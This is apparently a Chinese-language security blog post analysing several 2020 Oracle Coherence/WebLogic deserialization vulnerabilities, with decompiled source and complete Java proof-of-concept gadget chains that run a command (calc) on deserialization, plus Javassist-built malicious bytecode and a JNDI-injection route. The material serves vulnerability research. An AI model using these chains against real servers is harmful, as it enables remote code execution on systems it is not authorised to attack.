前言

今年的几个 Coherence 相关反序列化漏洞,搞一波。


环境搭建

先简单搭一个 WebLogic 的环境,下载地址,WebLogic 中集成了 Coherence :参考文章

然后把后面要用到的两个 jar 提出来放到一个新建的项目里面:参考文章

wlfullclient.jar(weblogic 的基本所有功能类),在 wlserver\server\lib 目录下执行:

java -jar ..\..\modules\com.bea.core.jarbuilder.jar

coherence.jar(coherence 的相关包),找这个 jar 的时候被坑到了,有的文章说在 wlserver\server\lib\console-ext\autodeploy 目录下,我本地查看的时候发现这个 jar 里面并没有关键的 com.tangosol 包,所以后来我自己找了找,找到的 jar 在 coherence\lib 目录下。

放好 jar 之后在 IDEA 中右键 Add as Library 就可以导入项目,最后是这个样子:

zip 压缩包是用 jd-gui 反编译出来的源码包(反编译出来的代码好像对齐了行号,方便调试),用于之后的漏洞分析。

CVE-2020-2555

漏洞分析

打算从补丁出发自己看一看反序列化链,但是我没有 Support Identifier 好像下载不了补丁,贴一张参考文章的图吧:

可以看到修复是去掉了 LimitFilter 类 toString 函数的 extractor.extract 调用, 所以入口点是 JDK 中的 BadAttributeValueExpException 类,而下一步要寻找一个实现了 ValueExtractor 接口的类,然后观察他的 extract 函数。

全局搜索一下,可以看到一个包 com.tangosol.util.extractor,我们想找的类都在这里面了,我们一个个看这些 Extractor。

寻找 extract
AbstractCompositeExtractor

没有实现接口,要看它的父类。

AbstractExtractor

AbstractCompositeExtractor 的父类,extract 函数实现如下:

/*     */   public E extract(T oTarget) {
/*  51 */     if (oTarget == null)
/*     */     {
/*  53 */       return null;
/*     */     }
/*  57 */     throw new UnsupportedOperationException();
/*     */   }

除了个 return null 就是抛出不可控异常,看起来无法利用。

ChainedExtractor(链式 extract)

extract 函数实现如下:

/*     */   public E extract(Object oTarget) {
/* 102 */     ValueExtractor[] aExtractor = getExtractors();
/* 103 */     for (int i = 0, c = aExtractor.length; i < c && oTarget != null; i++)
/*     */     {
/* 105 */       oTarget = aExtractor[i].extract(oTarget);
/*     */     }
/* 108 */     return (E)oTarget;
/*     */   }

是一个链式的 extract 调用,或许可以作为反射链,不过与现在要寻找的利用类无关,先放置一旁。

ComparisonValueExtractor(compare/compareTo)

extract 函数实现如下:

/*     */   public E extract(Object oTarget) {
/* 135 */     ValueExtractor[] aExtractor = getExtractors();
/* 136 */     Comparator comparator = getComparator();
/* 138 */     Object o1 = aExtractor[0].extract(oTarget);
/* 139 */     Object o2 = aExtractor[1].extract(oTarget);
/* 141 */     if (o1 instanceof Number && o2 instanceof Number && comparator == null) {
/*     */       ...
/*     */     } 
/* 229 */     return (E)Integer.valueOf(
/* 230 */         SafeComparator.compareSafe(comparator, o1, o2));
/*     */   }

上面有一大段 Number 类型才能执行的代码,跳过,可以看到最后会调用 SafeComparator.compareSafe:

/*     */   public static int compareSafe(Comparator<Object> comparator, Object o1, Object o2, boolean fNullFirst) {
/* 218 */     if (comparator != null) {
/*     */       try {
/* 222 */         return comparator.compare(o1, o2);
/*     */       }
/* 224 */       catch (NullPointerException nullPointerException) {}
/*     */     }
/* 227 */     if (o1 == null)
/*     */     {
/* 229 */       return (o2 == null) ? 0 : (fNullFirst ? -1 : 1);
/*     */     }
/* 232 */     if (o2 == null)
/*     */     {
/* 234 */       return fNullFirst ? 1 : -1;
/*     */     }
/* 237 */     return ((Comparable<Object>)o1).compareTo(o2);
/*     */   }

最后一个参数 fNullFirst 默认为 true,这里会调用 comparator.compare,可以连接到实现了 Comparator 接口的类的 compare 函数。

除此之外后面还调用了 compareTo,也可以连接到实现了 Comparable 接口的类的 compareTo 函数。

ConditionalExtractor

extract 函数实现如下:

/*     */   public E extract(Object oTarget) {
/* 157 */     throw new UnsupportedOperationException("ConditionalExtractor may not be used as an extractor.");
/*     */   }

直接抛出了异常,无法利用。

DeserializationAccelerator

extract 函数实现如下:

/*     */   public Object extract(Object oTarget) {
/* 141 */     throw new UnsupportedOperationException("DeserializationAccelerator may not be used as an extractor.");
/*     */   }

直接抛出了异常,无法利用。

EntryExtractor

没有实现 extract,用的是父类 AbstractExtractor 的。

IdentityExtractor(返回参数)

extract 函数实现如下:

/*     */   public T extract(T target) {
/*  46 */     return target;
/*     */   }

会直接返回传入的对象,可以配合 ComparisonValueExtractor 使用。

KeyExtractor

extract 函数实现如下:

/*     */   public E extract(T oTarget) {
/* 112 */     return (E)this.m_extractor.extract(oTarget);
/*     */   }

又调用了一遍 extract,没有太大意义。

MultiExtractor(多次 extract)

extract 函数实现如下:

/*     */   public Object extract(Object oTarget) {
/*  85 */     if (oTarget == null)
/*     */     {
/*  87 */       return null;
/*     */     }
/*  90 */     ValueExtractor[] aExtractor = getExtractors();
/*  91 */     int cExtractors = aExtractor.length;
/*  92 */     Object[] aValue = new Object[cExtractors];
/*  94 */     for (int i = 0; i < cExtractors; i++)
/*     */     {
/*  96 */       aValue[i] = aExtractor[i].extract(oTarget);
/*     */     }
/*  99 */     return new ImmutableArrayList(aValue);
/*     */   }

相当于调用了多次 extract,每次调用之间互不影响。

PofExtractor

没有实现 extract,用的是父类 AbstractExtractor 的。

ReflectionExtractor(反射)

好家伙,一看名字反射就感觉不对劲了,extract 函数实现如下:

/*     */   public E extract(T oTarget) {
/* 104 */     if (oTarget == null)
/*     */     {
/* 106 */       return null;
/*     */     }
/* 109 */     Class<?> clz = oTarget.getClass();
/*     */     try {
/* 112 */       Method method = this.m_methodPrev;
/* 114 */       if (method == null || method.getDeclaringClass() != clz)
/*     */       {
/* 116 */         this.m_methodPrev = method = ClassHelper.findMethod(clz, 
/* 117 */             getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
/*     */       }
/* 121 */       return (E)method.invoke(oTarget, this.m_aoParam);
/*     */     }
/* 123 */     catch (NullPointerException e) {
/* 125 */       throw new RuntimeException(suggestExtractFailureCause(clz));
/*     */     }
/* 127 */     catch (Exception e) {
/* 129 */       throw ensureRuntimeException(e, clz
/* 130 */           .getName() + this + '(' + oTarget + ')');
/*     */     } 
/*     */   }

确实是好家伙,一个显眼的反射调用函数,配合 ChainedExtractor 似乎可以实现反射链。

漏洞利用

拼接一下,简单的本地测试代码:

public class Main {
    private static Field getField(Class clz, String fieldName) {
        Field field = null;
        try {
            field = clz.getDeclaredField(fieldName);
        }catch (NoSuchFieldException e) {
            if (!clz.getSuperclass().equals(Object.class)) {
                field = getField(clz.getSuperclass(), fieldName);
            }
        }
        if (field != null) {
            field.setAccessible(true);
        }
        return field;
    }

    private static Object getFieldValue(Object obj, String fieldName) throws IllegalAccessException {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    private static void setFieldValue(Object obj, String fieldName, Object value) throws IllegalAccessException {
        Field field = getField(obj.getClass(), fieldName);
        if (field != null) {
            field.set(obj, value);
        }
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        return bos.toByteArray();
    }

    private static void deserialize(byte[] s) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bos = new ByteArrayInputStream(s);
        ObjectInputStream oos = new ObjectInputStream(bos);
        oos.readObject();
    }

    @SuppressWarnings("ThrowableNotThrown")
    public static void main(String[] args) throws Exception {
        ValueExtractor[] valueExtractorsArray = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}, 1),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}, 1),
                new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractorsArray);
        LimitFilter limitFilter = new LimitFilter();
        setFieldValue(limitFilter, "m_comparator", chainedExtractor);
        setFieldValue(limitFilter, "m_oAnchorTop", Runtime.class);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", limitFilter);
        byte[] poc = serialize(badAttributeValueExpException);
        deserialize(poc);
    }
}

听说还有 EL 表达式注入的利用方式,参考文章,用的可能是之前提到过的 javax.el.ELProcessor 类吧,就不加研究了。

漏洞修复

参加上面的图。

CVE-2020-2883

漏洞分析

可以算是 CVE-2020-2555 的绕过,在 LimitFilter 类的 toString 被修复了的情况下,要找到其他方式连接起 readObject 和 extract,这篇参考文章里面给出了两个 payload。

漏洞利用

PriorityQueue

参考之前 apache-commons-collections 的利用链,PriorityQueue 类可以用来连接 readObject 和 compare,所以我们还需要找到一个可利用的 compare 函数。

全局搜索一下 extractor.extract 的调用,可以看到一个类 ExtractorComparator,它的 compare 函数如下:

/*     */   public int compare(T o1, T o2) {
/*  71 */     Comparable<Comparable> a1 = (o1 instanceof InvocableMap.Entry) ? (Comparable)((InvocableMap.Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);
/*  74 */     Comparable a2 = (o2 instanceof InvocableMap.Entry) ? (Comparable)((InvocableMap.Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);
/*  76 */     if (a1 == null)
/*     */     {
/*  78 */       return (a2 == null) ? 0 : -1;
/*     */     }
/*  81 */     if (a2 == null)
/*     */     {
/*  83 */       return 1;
/*     */     }
/*  86 */     return a1.compareTo(a2);
/*     */   }

可以看到一句:

(Comparable)this.m_extractor.extract(o1)

所以我们可以用这个类连接起 compare 和 extract,拼接一下:

@SuppressWarnings({"ThrowableNotThrown", "unchecked"})
public static void main(String[] args) throws Exception {
    ValueExtractor[] valueExtractorsArray = new ValueExtractor[]{
        new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}, 1),
        new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}, 1),
        new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
    };
    ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractorsArray);
    ExtractorComparator extractorComparator = new ExtractorComparator();
    setFieldValue(extractorComparator, "m_extractor", chainedExtractor);
    PriorityQueue priorityQueue = new PriorityQueue(2, null);
    priorityQueue.add(1);
    priorityQueue.add(1);
    Object[] queue = (Object[])getFieldValue(priorityQueue, "queue");
    queue[0] = Runtime.class;
    queue[1] = 1;
    setFieldValue(priorityQueue, "comparator", extractorComparator);
    byte[] poc = serialize(priorityQueue);
    deserialize(poc);
}

除了 ExtractorComparator,还可以利用 MultiExtractor 类,这个类的 extract 如上文所说可以调用其他 extract,而且它没有实现 compare 函数,使用的是父类的 AbstractExtractor 的 compare 函数:

/*     */   public int compare(Object o1, Object o2) {
/* 143 */     return SafeComparator.compareSafe(null, extract((T)o1), extract((T)o2));
/*     */   }

不得不说还挺巧妙的,拼一下:

@SuppressWarnings({"ThrowableNotThrown", "unchecked"})
public static void main(String[] args) throws Exception {
    ValueExtractor[] valueExtractorsArray = new ValueExtractor[]{
        new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}, 1),
        new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}, 1),
        new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
    };
    ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractorsArray);
    MultiExtractor multiExtractor = new MultiExtractor();
    setFieldValue(multiExtractor, "m_aExtractor", new ValueExtractor[]{chainedExtractor});
    PriorityQueue priorityQueue = new PriorityQueue(2, null);
    priorityQueue.add(1);
    priorityQueue.add(1);
    Object[] queue = (Object[])getFieldValue(priorityQueue, "queue");
    queue[0] = Runtime.class;
    queue[1] = 1;
    setFieldValue(priorityQueue, "comparator", multiExtractor);
    byte[] poc = serialize(priorityQueue);
    deserialize(poc);
}

或许还有更多的链,我就懒得继续找了。

toString

有点复杂,Mutations 类的 toString:

/*     */   public String toString() {
/* 184 */     StringBuilder buf = new StringBuilder();
/* 185 */     if (this.renamers.size() > 0) {
/* 186 */       buf.append(this.renamers.values());
/*     */     }
/* 188 */     if (this.deleters.size() > 0) {
/* 189 */       buf.append(this.deleters.values());
/*     */     }
/* 191 */     if (this.converters.size() > 0) {
/* 192 */       buf.append(this.converters.values());
/*     */     }
/* 194 */     if (buf.length() > 0) {
/* 195 */       return buf.toString();
/*     */     }
/* 197 */     return "[Empty Mutations]";
/*     */   }
/*     */ }

ConcurrentSkipListMap$SubMap 类的 size:

public int size() {
    Comparator<? super K> cmp = m.comparator;
    long count = 0;
    for (ConcurrentSkipListMap.Node<K,V> n = loNode(cmp);
        isBeforeEnd(n, cmp);
        n = n.next) {
        if (n.getValidValue() != null)
            ++count;
    }
    return count >= Integer.MAX_VALUE ? Integer.MAX_VALUE : (int)count;
}

isBeforeEnd:

boolean isBeforeEnd(ConcurrentSkipListMap.Node<K,V> n,
    Comparator<? super K> cmp) {
    if (n == null)
        return false;
    if (hi == null)
        return true;
    K k = n.key;
    if (k == null) // pass by markers and headers
        return true;
    int c = cpr(cmp, k, hi);
    if (c > 0 || (c == 0 && !hiInclusive))
        return false;
    return true;
}

ConcurrentSkipListMap 类的 cpr:

static final int cpr(Comparator c, Object x, Object y) {
    return (c != null) ? c.compare(x, y) : ((Comparable)x).compareTo(y);
}

可以接上 compare,拼一下:

@SuppressWarnings({"ThrowableNotThrown", "unchecked"})
public static void main(String[] args) throws Exception {
    ValueExtractor[] valueExtractorsArray = new ValueExtractor[]{
        new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}, 1),
        new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}, 1),
        new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
    };
    ChainedExtractor chainedExtractor = new ChainedExtractor<>(valueExtractorsArray);
    ExtractorComparator extractorComparator = new ExtractorComparator();
    setFieldValue(extractorComparator, "m_extractor", chainedExtractor);
    HashMap hashMap = new HashMap();
    hashMap.put("replacement", "Twings");
    Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
    Object hashMapNode = hashMapTable[13];
    setFieldValue(hashMapNode, "key", Runtime.class);
    ConcurrentSkipListMap concurrentSkipListMap = new ConcurrentSkipListMap(hashMap);
    setFieldValue(concurrentSkipListMap, "comparator", extractorComparator);
    Constructor ctr = Class.forName("java.util.concurrent.ConcurrentSkipListMap$SubMap").getDeclaredConstructors()[0];
    ctr.setAccessible(true);
    Object submap = ctr.newInstance(concurrentSkipListMap, null, false, null, false, false);
    setFieldValue(submap, "hi", "Twings");
    Mutations mutations = new Mutations();
    setFieldValue(mutations, "renamers", submap);
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    setFieldValue(badAttributeValueExpException, "val", mutations);

    byte[] poc = serialize(badAttributeValueExpException);
    deserialize(poc);
}

漏洞修复

按照参考文章所说,将 ReflectionExtractor 列入了黑名单。

CVE-2020-14644

defineClass

参考文章1参考文章2,一个 Java 类要加载到 JVM 中要经过三个步骤:

  • 加载
    查找并导入内存,生成代表类的 Class 对象

  • 链接

    • 校验
      检查导入类或接口的二进制数据的正确性
    • 准备
      给类的静态变量分配并初始化存储空间
    • 解析
      符号引用转换为直接引用
  • 初始化

    静态变量初始化,静态代码块执行

我们一般会使用 Class.forName 或者 ClassLoader.loadClass 加载类,Class.forName 默认会对静态数据(代码、变量)进行初始化,而 ClassLoader.loadClass 默认不进行。

除了用这两个函数从本地加载类,我们还可以通过 defineClass 从字节码中加载类,参考文章,贴一张参考文章的图:

这个函数有四个参数,分别是类名、字节码、类字节码起始偏移以及类字节码长度。虽然 defineClass 可以从字节码中加载一个类,但是它并不会进行初始化,所以如果想要实现利用,还需要对该类进行实例化等操作。

漏洞分析

参考文章1参考文章2

入口点在 RemoteConstructor 类的 readResolve 函数(readResolve 函数操作位于 readObject 之后,一般用于实现单例模式):

/*     */   public Object readResolve() throws ObjectStreamException {
/* 233 */     return newInstance();
/*     */   }
/*     */
/*     */   public T newInstance() {
/* 121 */     RemotableSupport support = RemotableSupport.get(getClassLoader());
/* 122 */     return support.realize(this);
/*     */   }
/*     */
/*     */   protected ClassLoader getClassLoader() {
/* 134 */     ClassLoader loader = this.m_loader;
/* 135 */     return (loader == null) ? Base.getContextClassLoader(this) : loader;
/*     */   }
/*     */
/*     */   public static RemotableSupport get(ClassLoader loader) {
/*     */     return (loader instanceof RemotableSupport) ? (RemotableSupport)loader : s_mapByClassLoader.computeIfAbsent(Base.ensureClassLoader(loader), RemotableSupport::new);
/*     */   }
/*     */
/*     */   public <T> T realize(RemoteConstructor<T> constructor) {
/*     */     ClassDefinition definition = registerIfAbsent(constructor.getDefinition());
/*     */     Class<? extends Remotable> clz = definition.getRemotableClass();
/*     */     if (clz == null)
/*     */       synchronized (definition) {
/*     */         clz = definition.getRemotableClass();
/*     */         if (clz == null)
/*     */           definition.setRemotableClass(defineClass(definition)); 
/*     */       }  
/*     */     Remotable<T> instance = (Remotable<T>)definition.createInstance(constructor.getArguments());
/*     */     instance.setRemoteConstructor(constructor);
/*     */     return (T)instance;
/*     */   }
/*     */   
/*     */   protected Class<? extends Remotable> defineClass(ClassDefinition definition) {
/*     */     String sBinClassName = definition.getId().getName();
/*     */     String sClassName = sBinClassName.replace('/', '.');
/*     */     byte[] abClass = definition.getBytes();
/*     */     definition.dumpClass(DUMP_REMOTABLE);
/*     */     return this.defineClass(sClassName, abClass, 0, abClass.length);
/*     */   }
/*     */
/*     */   public Object createInstance(Object... aoArgs) {
/*     */     try {
/* 149 */       return getConstructor(aoArgs).invokeWithArguments(aoArgs);
/*     */     }
/* 151 */     catch (NoSuchMethodException e) {
/*     */ 
/*     */       
/* 154 */       Constructor[] aCtors = (Constructor[])this.m_clz.getDeclaredConstructors();
/* 155 */       for (Constructor ctor : aCtors) {
/*     */         
/* 157 */         if ((ctor.getParameterTypes()).length == aoArgs.length) {
/*     */           
/*     */           try {
/*     */             
/* 161 */             return ctor.newInstance(aoArgs);
/*     */           }
/* 163 */           catch (InstantiationException|java.lang.reflect.InvocationTargetException|IllegalAccessException|IllegalArgumentException instantiationException) {}
/*     */         }
/*     */       } 

可以看到 realize 函数中调用了一个 defineClass 函数,这里调用了父类 ClassLoader 的 defineClass 函数,可以从字节码中加载一个类。还可以看到 createInstance 函数疑似做了实例化对象的操作,但是我们不确定能否控制这个实例化的类为我们加载的类,从而执行它的构造函数来实现 RCE,我们可以先写一段简单的测试代码然后慢慢推进到:

RemoteConstructor remoteConstructor = new RemoteConstructor();
deserialize(serialize(remoteConstructor));

然后执行会得到报错:

Exception in thread "main" java.lang.NullPointerException
    at com.tangosol.internal.util.invoke.RemotableSupport.registerIfAbsent(RemotableSupport.java:161)

从头开始理一遍流程,先看 getClassLoader 函数,

getClassLoader

因为 m_loader 变量是一个 transient 变量,所以这个函数的返回值不可控,调试得到的结果为 AppClassLoader:

RemotableSupport.get

因为 RemotableSupport 不是从反序列化中获取的,调用的 get 函数为一个静态函数,且 loader 为 AppClassLoader,所以返回值也不可控,这两步的返回结果为一个不可控的 RemotableSupport 对象。

support.realize

可以看到这个函数中的大部分操作都来自 definition 变量,而这个变量来自 constructor.getDefinition():

/*     */   public ClassDefinition getDefinition() {
/*  97 */     return this.m_definition;
/*     */   }

这是一个 protected 变量,且其类型为可序列化的 ClassDefinition,可以通过反序列化传入来控制。

然后是 registerIfAbsent 函数:

/*     */   protected ClassDefinition registerIfAbsent(ClassDefinition definition) {
/*     */     assert definition != null;
/*     */     ClassDefinition rtn = this.f_mapDefinitions.putIfAbsent(definition.getId(), definition);
/*     */     return (rtn == null) ? definition : rtn;
/*     */   }

这个函数会调用 ConcurrentHashMap 的 putIfAbsent 函数以 definition.getId() 为键将 definition 放入 f_mapDefinitions 并返回结果(题外话,反编译出来的这个类调试不能,换用 IDEA 自己的反编译),而前面的报错就是因为我们序列化的 RemoteConstructor 中没有 definition,所以这里的 definition 为 null,修改一下测试代码:

ClassDefinition classDefinition = new ClassDefinition();
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));

发现下一个报错:

Exception in thread "main" java.lang.NullPointerException
    at java.util.concurrent.ConcurrentHashMap.putVal(ConcurrentHashMap.java:1011)

原因是 putIfAbsent 的键为空,看下这个 getId 函数:

public ClassIdentity getId() {
    return this.m_id;
}

返回的同样是一个可序列化的变量,可以控制。

修改代码继续测试:

ClassIdentity classIdentity = new ClassIdentity();
ClassDefinition classDefinition = new ClassDefinition(classIdentity, null);
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));

报错:

Exception in thread "main" java.lang.NullPointerException
    at com.tangosol.internal.util.invoke.ClassIdentity.hashCode(ClassIdentity.java:142)

原因是 HashMap 在 put 的过程中往往要调用键的 hashCode 函数,所以我们再看看 ClassIdentity 的 hashCode 函数:

public int hashCode() {
    int nHash = this.m_sPackage.hashCode();
    nHash = 31 * nHash + this.m_sBaseName.hashCode();
    nHash = 31 * nHash + this.m_sVersion.hashCode();
    return nHash;
}

所以在生成 payload 的时候还需要给 ClassIdentity 传入这几个参数,这时候的代码如下:

ClassIdentity classIdentity = new ClassIdentity(Evil.class);
ClassDefinition classDefinition = new ClassDefinition(classIdentity, null);
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));
defineClass

下一个报错:

Exception in thread "main" java.lang.NullPointerException
    at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181)

可以看到错误发生在 defineClass 函数,原因是我们序列化的 ClassDefinition 中没有类的字节码,我们用动态编程加上构造一个:

ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.get(Evil.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
clazz.setName("com/example/weblogic/RCE$Twings");
byte[] classByte = clazz.toBytecode();

ClassIdentity classIdentity = new ClassIdentity();
setFieldValue(classIdentity, "m_sPackage", "com/example/weblogic");
setFieldValue(classIdentity, "m_sBaseName", "RCE");
setFieldValue(classIdentity, "m_sVersion", "Twings");
ClassDefinition classDefinition = new ClassDefinition(classIdentity, classByte);
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));

然后就没有下一个报错了,计算器弹了出来,emmmmmm。

definition.setRemotableClass

defineClass 从字节码中加载类之后,会调用 setRemotableClass 获取构造函数:

public void setRemotableClass(Class<? extends Remotable> clz) {
    this.m_clz = clz;
    Constructor<?>[] aCtor = clz.getDeclaredConstructors();
    if (aCtor.length == 1) {
        try {
            MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes());
            this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType);
        } catch (IllegalAccessException | NoSuchMethodException var4) {
            throw Base.ensureRuntimeException(var4);
        }
    }

}

当只有一个构造函数时,会将该构造函数相关的信息存入 m_mhCtor 变量。

createInstance

函数参数为 constructor.getArguments(),即实例化 RemoteConstructor 时传入的 Object[0],也就是无参函数的意思。

跟入 getConstructor 函数:

protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException {
    if (this.m_mhCtor != null) {
        return this.m_mhCtor;
    } 
    ...
}

这个函数用于从加载的类中获取构造函数,但是因为我们传入的字节码类只有一个构造函数,所以查找结果与参数类型无关,会不寻找直接返回该构造函数。

然后则是 invokeWithArguments 函数,看名字明显是反射调用构造函数,于是就执行了恶意的构造函数代码。

不过最后还有一个错误:

Exception in thread "main" java.lang.ClassCastException: com.example.weblogic.RCE$Twings cannot be cast to com.tangosol.internal.util.invoke.Remotable

可以锦上添花解决一下:

ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Remotable.class));
CtClass clazz = classPool.get(Evil.class.getName());
CtClass remotable = classPool.get(Remotable.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
CtMethod setRemoteConstructor = CtMethod.make("public void setRemoteConstructor(com.tangosol.internal.util.invoke.RemoteConstructor remoteConstructor){}", clazz);
CtMethod getRemoteConstructor = CtMethod.make("public com.tangosol.internal.util.invoke.RemoteConstructor getRemoteConstructor(){return null;}", clazz);
clazz.addMethod(setRemoteConstructor);
clazz.addMethod(getRemoteConstructor);
clazz.setName("com/example/weblogic/RCE$Twings");
clazz.setInterfaces(new CtClass[]{remotable});
byte[] classByte = clazz.toBytecode();

ClassIdentity classIdentity = new ClassIdentity();
setFieldValue(classIdentity, "m_sPackage", "com/example/weblogic");
setFieldValue(classIdentity, "m_sBaseName", "RCE");
setFieldValue(classIdentity, "m_sVersion", "Twings");
ClassDefinition classDefinition = new ClassDefinition(classIdentity, classByte);
RemoteConstructor remoteConstructor = new RemoteConstructor(classDefinition, new Object[0]);
deserialize(serialize(remoteConstructor));

CVE-2020-14645

CVE-2020-14645 是 CVE-2020-2883 的绕过,在 ReflectionExtractor 被禁止了的情况下,用 UniversalExtractor 构造一条新的利用链,参考文章1参考文章2

我们来看看 UniversalExtractor 的 extarct 函数长什么样:

public E extract(T oTarget) {
    if (oTarget == null) {
        return null;
    } else {
        TargetReflectionDescriptor targetPrev = this.m_cacheTarget;

        try {
            if (targetPrev != null && oTarget.getClass() == targetPrev.getTargetClass()) {
                return targetPrev.isMap() ? ((Map)oTarget).get(this.getCanonicalName()) : targetPrev.getMethod().invoke(oTarget, this.m_aoParam);
            } else {
                return this.extractComplex(oTarget);
                }
        } catch (NullPointerException var4) {
            throw new RuntimeException(this.suggestExtractFailureCause(oTarget.getClass()));
        } catch (Exception var5) {
            throw ensureRuntimeException(var5, oTarget.getClass().getName() + this + '(' + oTarget + ')');
        }
    }
}

因为变量 m_cacheTarget 是个 transient 变量,所以会执行 this.extractComplex(oTarget):

protected E extractComplex(T oTarget) throws InvocationTargetException, IllegalAccessException {
    Class clzTarget = oTarget.getClass();
    Object[] aoParam = this.m_aoParam;
    Class[] clzParam = ClassHelper.getClassArray(aoParam);
    String sCName = this.getCanonicalName();
    boolean fProperty = this.isPropertyExtractor();
    Method method = null;
    if (fProperty) {
        String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);

        for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {
            method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);
        }
    } else {
        method = ClassHelper.findMethod(clzTarget, this.getMethodName(), clzParam, false);
    }

    if (method == null) {
        if (fProperty && oTarget instanceof Map) {
            this.m_cacheTarget = new TargetReflectionDescriptor(clzTarget);
            return ((Map)oTarget).get(sCName);
        }
    } else {
        this.m_cacheTarget = new TargetReflectionDescriptor(clzTarget, method);
    }

    return method.invoke(oTarget, aoParam);
}

fProperty 变量来自 isPropertyExtractor:

public boolean isPropertyExtractor() {
    return !this.m_fMethod;
}

m_fMethod 也是个 transient 变量,所以 fProperty 为 true,那么接下来就会有两个选择,要么通过反射执行一次 getXXX 或者 isXXX 函数:

要么进入 method == null 的分支,调用某个 Map 类的 get 函数。

那么攻击的思路也很明确了,执行一次 getDatabaseMetaData 函数可以进行 JNDI 注入:

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
    Connection var1 = this.connect();
    return var1.getMetaData();
}

而调用 Map.get 可以用来接上 apache-commons-collections 的利用链。


Orz


Web Java 反序列化 WebLogic

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Java RASP 防护技术
Fastjson反序列化机制和autotype观测